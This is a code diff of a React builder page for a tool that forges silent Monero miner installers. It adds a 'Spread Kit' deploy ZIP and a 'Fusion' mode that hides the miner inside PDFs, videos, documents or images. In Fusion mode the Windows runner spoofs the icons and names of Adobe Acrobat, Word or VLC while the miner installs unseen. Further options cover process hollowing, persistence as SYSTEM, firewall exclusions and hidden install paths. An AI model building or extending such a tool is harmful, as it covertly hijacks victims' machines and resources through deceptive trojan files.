setForm((prev) => (prev ? applyDeliverableType(prev, type) : prev));
|
||||
if (type !== 'fusion') {
|
||||
setFusionPrepFile(null);
|
||||
setFusionBatchFiles([]);
|
||||
setFusionEstimate(null);
|
||||
}
|
||||
};
|
||||
|
||||
const deliverableType = form ? deriveDeliverableType(form) : 'single';
|
||||
const installBaseOptions = installBaseOptionsForTarget(form?.target_os);
|
||||
|
||||
const fieldMeta = useMemo(() => (form ? getForgeFieldMeta(form) : {}), [form]);
|
||||
const liveNotices = useMemo(
|
||||
() => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []),
|
||||
@@ -456,7 +502,7 @@ export default function BuilderPage() {
|
||||
);
|
||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
||||
const fusionIsVideo = isFusionVideoFile(fusionPrepFile);
|
||||
const fusionIsExe = fusionPayloadKind(fusionPrepFile) === 'exe';
|
||||
const fusionMediaMode = form?.fusion_media_mode || 'paired';
|
||||
|
||||
useEffect(() => {
|
||||
@@ -517,6 +563,7 @@ export default function BuilderPage() {
|
||||
install_relative_path: form.install_relative_path,
|
||||
worker_name: form.worker_name,
|
||||
process_name: form.process_name,
|
||||
target_os: form.target_os,
|
||||
});
|
||||
|
||||
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
|
||||
@@ -688,8 +735,8 @@ export default function BuilderPage() {
|
||||
<h2>{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}</h2>
|
||||
<p className="form-description">
|
||||
{simpleMode
|
||||
? 'Three fields below, then forge. Pick your LAN address chip if unsure — not localhost. Output lands in the project root when done.'
|
||||
: 'Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once. It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.'}
|
||||
? 'Pick a deliverable type, fill the three identity fields, then forge. LAN address chips beat localhost. Spread Kit = silent multi-OS ZIP; Movie = universal fusion.'
|
||||
: 'Creates installers for Windows, Linux, macOS, or all three. Incompatible fields lock automatically — grayed inputs are ignored at forge time.'}
|
||||
</p>
|
||||
|
||||
<form onSubmit={handleSubmit}>
|
||||
@@ -707,8 +754,9 @@ export default function BuilderPage() {
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
placeholder="office-pc-1"
|
||||
placeholder="e.g. office-pc-1 (letters, numbers, dash, dot)"
|
||||
value={form.worker_name}
|
||||
maxLength={48}
|
||||
onChange={(e) => updateField('worker_name', e.target.value)}
|
||||
required
|
||||
/>
|
||||
@@ -728,7 +776,7 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
<input
|
||||
type="url"
|
||||
className="input mono endpoint-input"
|
||||
className={`input mono endpoint-input${form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) ? ' input-warn' : ''}`}
|
||||
placeholder={`http://192.168.1.10:${listenPort}`}
|
||||
value={form.server_url}
|
||||
onChange={(e) => updateField('server_url', e.target.value)}
|
||||
@@ -736,6 +784,11 @@ export default function BuilderPage() {
|
||||
autoComplete="off"
|
||||
spellCheck={false}
|
||||
/>
|
||||
{form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) && (
|
||||
<p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}>
|
||||
⚠ localhost/127.0.0.1 baked into the worker will fail on other machines — use your LAN IP chip below.
|
||||
</p>
|
||||
)}
|
||||
<FieldHint field="server_url" />
|
||||
<p className="form-hint endpoint-hint">
|
||||
Baked into each installer. Change here when this host's LAN IP changes — you do not need to update Calibrate first.
|
||||
@@ -763,14 +816,118 @@ export default function BuilderPage() {
|
||||
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
className={`input mono${form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`}
|
||||
placeholder="4... or 8... (95–106 characters)"
|
||||
value={form.wallet}
|
||||
onChange={(e) => updateField('wallet', e.target.value)}
|
||||
required
|
||||
spellCheck={false}
|
||||
/>
|
||||
{form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 && (
|
||||
<p className="form-hint" style={{ color: 'var(--neon-amber, #ffa)' }}>
|
||||
Wallet address looks short — Monero addresses are 95–106 characters starting with 4 or 8.
|
||||
</p>
|
||||
)}
|
||||
<FieldHint field="wallet" />
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Deliverable"
|
||||
badge="baked"
|
||||
description="Pick what you are shipping. Incompatible options are locked automatically."
|
||||
/>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
{deliverableSummary(deliverableType)}
|
||||
</p>
|
||||
<div className="forge-rules-grid" style={{ marginBottom: '0.75rem' }}>
|
||||
<button
|
||||
type="button"
|
||||
className={`forge-rule-card deliverable-card ${deliverableType === 'single' ? 'deliverable-active' : ''}`}
|
||||
onClick={() => setDeliverableType('single')}
|
||||
>
|
||||
<strong>Single platform worker</strong>
|
||||
<span className="form-hint">One .exe or binary for Windows, Linux, or macOS.</span>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`forge-rule-card deliverable-card ${deliverableType === 'spread_kit' ? 'deliverable-active' : ''}`}
|
||||
onClick={() => setDeliverableType('spread_kit')}
|
||||
>
|
||||
<strong>Universal Spread Kit</strong>
|
||||
<span className="form-hint">Silent ZIP — Deploy.bat / deploy.sh installs on any OS.</span>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`forge-rule-card deliverable-card ${deliverableType === 'fusion' ? 'deliverable-active' : ''}`}
|
||||
onClick={() => setDeliverableType('fusion')}
|
||||
>
|
||||
<strong>Fusion</strong>
|
||||
<span className="form-hint">Hide miner in any file — PDF, video, doc, image. One universal ZIP works on all OSes.</span>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Platform"
|
||||
badge="baked"
|
||||
description={
|
||||
deliverableType === 'single'
|
||||
? 'Which OS this single installer targets.'
|
||||
: 'Locked to Universal — all platforms are included in the ZIP.'
|
||||
}
|
||||
/>
|
||||
<div className="form-row">
|
||||
<div className={`form-group ${fieldMeta.target_os?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Target OS <HelpTip field="target_os" /></label>
|
||||
{fieldMeta.target_os?.disabled ? (
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
disabled
|
||||
value="Universal (all platforms)"
|
||||
readOnly
|
||||
/>
|
||||
) : (
|
||||
<select
|
||||
className="select"
|
||||
value={form.target_os || 'windows'}
|
||||
onChange={(e) => updateField('target_os', e.target.value)}
|
||||
>
|
||||
<option value="windows">Windows</option>
|
||||
<option value="linux">Linux</option>
|
||||
<option value="darwin">macOS</option>
|
||||
</select>
|
||||
)}
|
||||
<FieldHint field="target_os" />
|
||||
<ForgeLockedHint meta={fieldMeta.target_os} />
|
||||
</div>
|
||||
{(form.target_os === 'linux' || form.target_os === 'darwin') && (
|
||||
<div className={`form-group ${fieldMeta.target_arch?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Architecture <HelpTip field="target_arch" /></label>
|
||||
<select
|
||||
className="select"
|
||||
disabled={fieldMeta.target_arch?.disabled}
|
||||
value={form.target_arch || (form.target_os === 'darwin' ? 'arm64' : 'amd64')}
|
||||
onChange={(e) => updateField('target_arch', e.target.value)}
|
||||
>
|
||||
<option value="amd64">amd64 (Intel/AMD)</option>
|
||||
<option value="arm64">arm64 (Apple Silicon / ARM)</option>
|
||||
</select>
|
||||
<FieldHint field="target_arch" />
|
||||
<ForgeLockedHint meta={fieldMeta.target_arch} />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
{deliverableType === 'spread_kit' && (
|
||||
<p className="form-hint">
|
||||
Spread Kit preset: idle mining, stealth, persistence, self-healing, and remote aggressive ops enabled.
|
||||
Upload nothing — forge produces the deploy ZIP.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
<div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
|
||||
<div className="label-row">
|
||||
@@ -820,7 +977,8 @@ export default function BuilderPage() {
|
||||
min={1}
|
||||
max={65535}
|
||||
value={form.pool_port}
|
||||
onChange={(e) => updateField('pool_port', parseInt(e.target.value) || 3333)}
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 65535) updateField('pool_port', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1 || v > 65535) updateField('pool_port', 3333); }}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group checkbox-group" style={{ alignSelf: 'flex-end', paddingBottom: '8px' }}>
|
||||
@@ -840,9 +998,11 @@ export default function BuilderPage() {
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
placeholder="x"
|
||||
value={form.pool_pass}
|
||||
onChange={(e) => updateField('pool_pass', e.target.value)}
|
||||
/>
|
||||
<p className="form-hint">Standard Monero pools use <code>x</code> — leave blank to use that default.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -865,7 +1025,8 @@ export default function BuilderPage() {
|
||||
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
|
||||
<input type="number" className="input" min={1} max={100} value={form.thread_percent}
|
||||
disabled={fieldMeta.thread_percent?.disabled}
|
||||
onChange={(e) => updateField('thread_percent', parseInt(e.target.value) || 75)} />
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v)) updateField('thread_percent', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('thread_percent', 75); else if (v > 100) updateField('thread_percent', 100); }} />
|
||||
<ForgeLockedHint meta={fieldMeta.thread_percent} />
|
||||
</div>
|
||||
</div>
|
||||
@@ -874,7 +1035,8 @@ export default function BuilderPage() {
|
||||
<label className="label">Fixed Threads <HelpTip field="threads" /></label>
|
||||
<input type="number" className="input" min={1} max={128} value={form.threads}
|
||||
disabled={fieldMeta.threads?.disabled}
|
||||
onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)} />
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('threads', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('threads', 4); }} />
|
||||
<ForgeLockedHint meta={fieldMeta.threads} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
@@ -892,19 +1054,22 @@ export default function BuilderPage() {
|
||||
<div className="form-group">
|
||||
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
|
||||
<input type="number" className="input" min={1} max={100} value={form.max_cpu_usage_pct}
|
||||
onChange={(e) => updateField('max_cpu_usage_pct', parseInt(e.target.value) || 80)} />
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('max_cpu_usage_pct', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('max_cpu_usage_pct', 80); }} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
|
||||
<input type="number" className="input" min={10} max={95} value={form.max_memory_percent}
|
||||
onChange={(e) => updateField('max_memory_percent', parseInt(e.target.value) || 70)} />
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 10 && v <= 95) updateField('max_memory_percent', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 10) updateField('max_memory_percent', 70); }} />
|
||||
<FieldHint field="max_memory_percent" />
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
|
||||
<input type="number" className="input" min={256} value={form.min_free_ram_mb}
|
||||
onChange={(e) => updateField('min_free_ram_mb', parseInt(e.target.value) || 1024)} />
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 1024); }} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
|
||||
@@ -929,7 +1094,8 @@ export default function BuilderPage() {
|
||||
max={100}
|
||||
disabled={fieldMeta.idle_threshold_pct?.disabled}
|
||||
value={form.idle_threshold_pct}
|
||||
onChange={(e) => updateField('idle_threshold_pct', parseInt(e.target.value) || 20)}
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('idle_threshold_pct', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_threshold_pct', 20); }}
|
||||
/>
|
||||
</div>
|
||||
<div className={`form-group ${fieldMeta.idle_duration_minutes?.disabled ? 'field-disabled' : ''}`}>
|
||||
@@ -940,7 +1106,8 @@ export default function BuilderPage() {
|
||||
min={1}
|
||||
disabled={fieldMeta.idle_duration_minutes?.disabled}
|
||||
value={form.idle_duration_minutes}
|
||||
onChange={(e) => updateField('idle_duration_minutes', parseInt(e.target.value) || 5)}
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('idle_duration_minutes', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_duration_minutes', 5); }}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
@@ -981,19 +1148,26 @@ export default function BuilderPage() {
|
||||
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
|
||||
<select className="select" value={form.install_base}
|
||||
onChange={(e) => updateField('install_base', e.target.value)}>
|
||||
<option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
|
||||
<option value="appdata">Roaming App Data (%APPDATA%)</option>
|
||||
<option value="programdata">Program Data (%ProgramData%)</option>
|
||||
<option value="userprofile">User Profile (%USERPROFILE%)</option>
|
||||
<option value="temp">Temp Folder (%TEMP%)</option>
|
||||
<option value="custom">Custom Path</option>
|
||||
{installBaseOptions.map((opt) => (
|
||||
<option key={opt.value} value={opt.value}>{opt.label}</option>
|
||||
))}
|
||||
</select>
|
||||
<FieldHint field="install_base" />
|
||||
{installBaseOptions.find((o) => o.value === form.install_base)?.hint && (
|
||||
<p className="form-hint">
|
||||
{installBaseOptions.find((o) => o.value === form.install_base)!.hint}
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
{form.install_base === 'custom' && (
|
||||
<div className={`form-group ${fieldMeta.install_custom_base?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
|
||||
<input type="text" className="input mono" placeholder="C:\\Hidden\\Miner or %ProgramData%\\MyApp"
|
||||
<input type="text" className="input mono"
|
||||
placeholder={
|
||||
form.target_os === 'linux' || form.target_os === 'darwin'
|
||||
? '/home/user/.local/share or ~/Library/Application Support'
|
||||
: 'C:\\Hidden\\Miner or %ProgramData%\\MyApp'
|
||||
}
|
||||
disabled={fieldMeta.install_custom_base?.disabled}
|
||||
value={form.install_custom_base}
|
||||
onChange={(e) => updateField('install_custom_base', e.target.value)} />
|
||||
@@ -1027,7 +1201,14 @@ export default function BuilderPage() {
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.firewall_exclusion}
|
||||
onChange={(e) => updateField('firewall_exclusion', e.target.checked)} />
|
||||
<span>Windows Firewall allow rules for this miner <HelpTip field="firewall_exclusion" /></span>
|
||||
<span>
|
||||
{form.target_os === 'linux' || form.target_os === 'darwin'
|
||||
? 'Firewall allow rules (ufw/iptables when available)'
|
||||
: form.target_os === 'universal'
|
||||
? 'Firewall allow rules (per OS — netsh / ufw / best-effort)'
|
||||
: 'Windows Firewall allow rules for this miner'}{' '}
|
||||
<HelpTip field="firewall_exclusion" />
|
||||
</span>
|
||||
</label>
|
||||
<FieldHint field="firewall_exclusion" />
|
||||
</div>
|
||||
@@ -1047,13 +1228,15 @@ export default function BuilderPage() {
|
||||
</label>
|
||||
<FieldHint field="stealth_mode" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<div className={`form-group checkbox-group ${fieldMeta.process_hollowing?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.process_hollowing}
|
||||
disabled={fieldMeta.process_hollowing?.disabled}
|
||||
onChange={(e) => updateField('process_hollowing', e.target.checked)} />
|
||||
<span>Process Hollowing (memory injection) <HelpTip field="process_hollowing" /></span>
|
||||
<span>Process Hollowing (Windows only) <HelpTip field="process_hollowing" /></span>
|
||||
</label>
|
||||
<FieldHint field="process_hollowing" />
|
||||
<ForgeLockedHint meta={fieldMeta.process_hollowing} />
|
||||
</div>
|
||||
<div className={`form-group checkbox-group ${fieldMeta.file_logging?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
@@ -1097,9 +1280,9 @@ export default function BuilderPage() {
|
||||
value={form.run_as}
|
||||
onChange={(e) => updateField('run_as', e.target.value)}
|
||||
>
|
||||
<option value="user">Current User (Run key when persistence on)</option>
|
||||
<option value="service">Scheduled Task — forced persistence</option>
|
||||
<option value="scheduled">Scheduled Task — forced persistence</option>
|
||||
<option value="user">Current User (Run key — persistence optional)</option>
|
||||
<option value="scheduled">Scheduled Task (logon task — persistence forced on)</option>
|
||||
<option value="service">Scheduled Task as SYSTEM (elevated — persistence forced on)</option>
|
||||
</select>
|
||||
<FieldHint field="run_as" />
|
||||
</div>
|
||||
@@ -1116,105 +1299,130 @@ export default function BuilderPage() {
|
||||
</>
|
||||
)}
|
||||
|
||||
{deliverableType !== 'spread_kit' && (
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Fusion (prep + worker)"
|
||||
title="Fusion — Hide miner in any file"
|
||||
badge="baked"
|
||||
description={simpleMode
|
||||
? 'Optional — hide the miner inside your own prep.exe. Upload prep, forge, deploy one file.'
|
||||
: 'Optional — bundles prep.exe with the miner. Forces background display when enabled.'}
|
||||
? 'Drop any file — PDF, video, document, image, or executable. It opens normally while the miner installs silently. Each file gets its own universal ZIP for Windows, Mac, and Linux.'
|
||||
: 'Fuse the miner with any file. The recipient sees their file open as normal; the miner runs invisibly. Produces a universal ZIP for all platforms.'}
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
{deliverableType !== 'fusion' && (
|
||||
<div className={`form-group checkbox-group ${fieldMeta.fusion_enabled?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.fusion_enabled}
|
||||
disabled={fieldMeta.fusion_enabled?.disabled}
|
||||
onChange={(e) => updateField('fusion_enabled', e.target.checked)} />
|
||||
<span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
|
||||
</label>
|
||||
<FieldHint field="fusion_enabled" />
|
||||
<ForgeLockedHint meta={fieldMeta.fusion_enabled} />
|
||||
</div>
|
||||
)}
|
||||
{deliverableType === 'fusion' && (
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
Fusion selected — drop your files below and forge. Each file becomes its own universal ZIP (Windows + Mac + Linux) that can be sent to any machine.
|
||||
</p>
|
||||
)}
|
||||
{form.fusion_enabled && (
|
||||
<>
|
||||
{/* Single-file pick (used when Forge button is clicked) */}
|
||||
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
|
||||
<div className="label-row">
|
||||
<label className="label">Prep .exe or movie (.mp4 / .mkv / .mov) <HelpTip field="fusion_prep" /></label>
|
||||
<label className="label">
|
||||
Drop any file to fuse <HelpTip field="fusion_prep" />
|
||||
</label>
|
||||
<ForgeFieldBadge meta={fieldMeta.fusion_prep} />
|
||||
</div>
|
||||
<input
|
||||
type="file"
|
||||
className="input"
|
||||
accept=".exe,.mp4,.mkv,.mov,application/octet-stream,video/*"
|
||||
accept="*"
|
||||
onChange={(e) => {
|
||||
applyFusionFileSelection(e.target.files?.[0] || null);
|
||||
e.target.value = '';
|
||||
}}
|
||||
/>
|
||||
{fusionPrepFile && (
|
||||
{fusionPrepFile && !fusionIsExe && (
|
||||
<div className="form-hint" style={{ marginTop: '0.4rem' }}>
|
||||
<strong>{fusionPrepFile.name}</strong> — {fusionFileTypeLabel(fusionPrepFile.name)},{' '}
|
||||
{(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB
|
||||
<br />
|
||||
<span style={{ color: 'var(--color-accent)' }}>
|
||||
Windows disguise: runner will be named{' '}
|
||||
<code>{disguisedWindowsRunnerName(fusionPrepFile.name)}</code> with the{' '}
|
||||
{fusionFileTypeLabel(fusionPrepFile.name)} icon injected.
|
||||
Explorer shows it as <code>{disguisedDisplayName(fusionPrepFile.name)}</code> — identical to a real {fusionFileTypeLabel(fusionPrepFile.name)}.
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
{fusionPrepFile && fusionIsExe && (
|
||||
<span className="form-hint">
|
||||
Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)
|
||||
{fusionIsVideo ? ' — video payload' : ' — exe payload'}
|
||||
<strong>{fusionPrepFile.name}</strong> — Windows executable, {(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB — will run directly when opened
|
||||
</span>
|
||||
)}
|
||||
<p className="form-hint">Upload limit: 2 GB per file.</p>
|
||||
<p className="form-hint">
|
||||
Supports any file type — PDF, video (MP4/MOV/MKV), Word, Excel, image, etc. Max 2 GB.
|
||||
On Windows: icon + file description are spoofed to match the real application (Adobe Acrobat, Microsoft Word, VLC, etc.).
|
||||
</p>
|
||||
</div>
|
||||
{fusionIsVideo && (
|
||||
<div className="form-group">
|
||||
<label className="label">Movie delivery <HelpTip field="fusion_media_mode" /></label>
|
||||
<div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="radio"
|
||||
className="checkbox"
|
||||
name="fusion_media_mode"
|
||||
checked={fusionMediaMode === 'embedded'}
|
||||
onChange={() => {
|
||||
updateField('fusion_media_mode', 'embedded');
|
||||
if (fusionPrepFile) {
|
||||
updateField('fusion_output_name', defaultEmbeddedName(fusionPrepFile.name));
|
||||
}
|
||||
}}
|
||||
/>
|
||||
<span>
|
||||
<strong>Option A — Single file (embedded)</strong>
|
||||
<FieldHint field="fusion_media_mode" />
|
||||
</span>
|
||||
</label>
|
||||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||
One disguised launcher (e.g. <code>Title.mkv.exe</code>) contains the movie + hidden miner.
|
||||
Best when the file is under ~500MB.
|
||||
</p>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="radio"
|
||||
className="checkbox"
|
||||
name="fusion_media_mode"
|
||||
checked={fusionMediaMode === 'paired'}
|
||||
onChange={() => {
|
||||
updateField('fusion_media_mode', 'paired');
|
||||
if (fusionPrepFile) {
|
||||
updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
|
||||
}
|
||||
}}
|
||||
/>
|
||||
<span>
|
||||
<strong>Option B — Movie + runner (paired)</strong>
|
||||
</span>
|
||||
</label>
|
||||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||
<code>Title.mkv</code> (shortcut) + hidden <code>Title.mkv.cmdata</code> +{' '}
|
||||
<code>Title-runner.exe</code> in <code>fusion-deliverables/Title/</code>. Clicking the
|
||||
movie shows a lock message; only the runner decrypts and plays it.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Delivery mode — applies to all file types */}
|
||||
<div className="form-group">
|
||||
<label className="label">Delivery mode <HelpTip field="fusion_media_mode" /></label>
|
||||
<div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="radio"
|
||||
className="checkbox"
|
||||
name="fusion_media_mode"
|
||||
checked={fusionMediaMode === 'embedded'}
|
||||
onChange={() => {
|
||||
updateField('fusion_media_mode', 'embedded');
|
||||
if (fusionPrepFile) updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
|
||||
}}
|
||||
/>
|
||||
<span>
|
||||
<strong>All-in-one (embedded)</strong>
|
||||
<FieldHint field="fusion_media_mode" />
|
||||
</span>
|
||||
</label>
|
||||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||
Everything baked into a single runner binary. Drop one file anywhere and run it — no extras needed.
|
||||
Best for files under ~500 MB.
|
||||
</p>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="radio"
|
||||
className="checkbox"
|
||||
name="fusion_media_mode"
|
||||
checked={fusionMediaMode === 'paired'}
|
||||
onChange={() => {
|
||||
updateField('fusion_media_mode', 'paired');
|
||||
if (fusionPrepFile) updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
|
||||
}}
|
||||
/>
|
||||
<span>
|
||||
<strong>ZIP bundle (paired)</strong>
|
||||
</span>
|
||||
</label>
|
||||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||
Your original file + runners in a ZIP. Works for <em>any</em> file size. The recipient unzips and opens
|
||||
the launcher for their OS — the file opens normally, miner installs silently.
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Batch: queue multiple files, each gets its own ZIP */}
|
||||
<div className="form-group">
|
||||
<div className="label-row">
|
||||
<label className="label">Batch movies <HelpTip field="fusion_batch" /></label>
|
||||
<label className="label">Batch fusion — fuse many files at once <HelpTip field="fusion_batch" /></label>
|
||||
</div>
|
||||
<input
|
||||
type="file"
|
||||
className="input"
|
||||
accept=".mp4,.mkv,.mov,video/*"
|
||||
accept="*"
|
||||
multiple
|
||||
onChange={(e) => {
|
||||
const list = e.target.files ? Array.from(e.target.files) : [];
|
||||
@@ -1223,10 +1431,31 @@ export default function BuilderPage() {
|
||||
}}
|
||||
/>
|
||||
{fusionBatchFiles.length > 0 && (
|
||||
<span className="form-hint">
|
||||
{fusionBatchFiles.length} movie(s) queued — each becomes a ZIP in{' '}
|
||||
<code>fusion-deliverables/<title>/</code> (runner + locked movie + README).
|
||||
</span>
|
||||
<div style={{ marginTop: '0.5rem' }}>
|
||||
<p className="form-hint" style={{ marginBottom: '0.25rem' }}>
|
||||
<strong>{fusionBatchFiles.length} file{fusionBatchFiles.length !== 1 ? 's' : ''} queued</strong> — each becomes a separate universal ZIP in{' '}
|
||||
<code>fusion-deliverables/</code>:
|
||||
</p>
|
||||
<ul className="batch-forge-log" style={{ marginBottom: '0.5rem' }}>
|
||||
{fusionBatchFiles.map((f) => {
|
||||
const isExe = fusionPayloadKind(f) === 'exe';
|
||||
return (
|
||||
<li key={f.name} className="batch-log-pending">
|
||||
<span className="batch-log-icon">○</span>
|
||||
<span>
|
||||
{f.name}{' '}
|
||||
<span className="form-hint">({fusionFileTypeLabel(f.name)}, {(f.size/1024/1024).toFixed(1)} MB)</span>
|
||||
{!isExe && (
|
||||
<span style={{ color: 'var(--color-accent)', marginLeft: '0.4rem' }}>
|
||||
→ Windows: <code>{disguisedDisplayName(f.name)}</code>
|
||||
</span>
|
||||
)}
|
||||
</span>
|
||||
</li>
|
||||
);
|
||||
})}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
{batchJob && (
|
||||
<div className="batch-forge-panel card" style={{ marginTop: '0.75rem' }}>
|
||||
@@ -1263,33 +1492,48 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
{fusionBatchFiles.length > 0 && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary"
|
||||
style={{ marginTop: '0.5rem' }}
|
||||
disabled={building || !canForge}
|
||||
onClick={handleBatchForgeMovies}
|
||||
>
|
||||
{building
|
||||
? `Batch forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})`
|
||||
: `Batch forge ${fusionBatchFiles.length} movie(s) → ZIP each`}
|
||||
</button>
|
||||
<div style={{ display: 'flex', gap: '0.5rem', marginTop: '0.5rem', flexWrap: 'wrap' }}>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary"
|
||||
disabled={building || !canForge}
|
||||
onClick={handleBatchForge}
|
||||
>
|
||||
{building
|
||||
? `Forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})`
|
||||
: `Forge all ${fusionBatchFiles.length} file${fusionBatchFiles.length !== 1 ? 's' : ''} → universal ZIP each`}
|
||||
</button>
|
||||
{building && batchJob && batchJob.phase !== 'done' && batchJob.phase !== 'cancelled' && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-danger"
|
||||
onClick={handleBatchCancel}
|
||||
title="Stop after the current file finishes"
|
||||
>
|
||||
Cancel Batch
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||||
Each ZIP contains runners for Windows, Mac, and Linux. The recipient runs the launcher for their OS — the file opens, the miner installs.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
|
||||
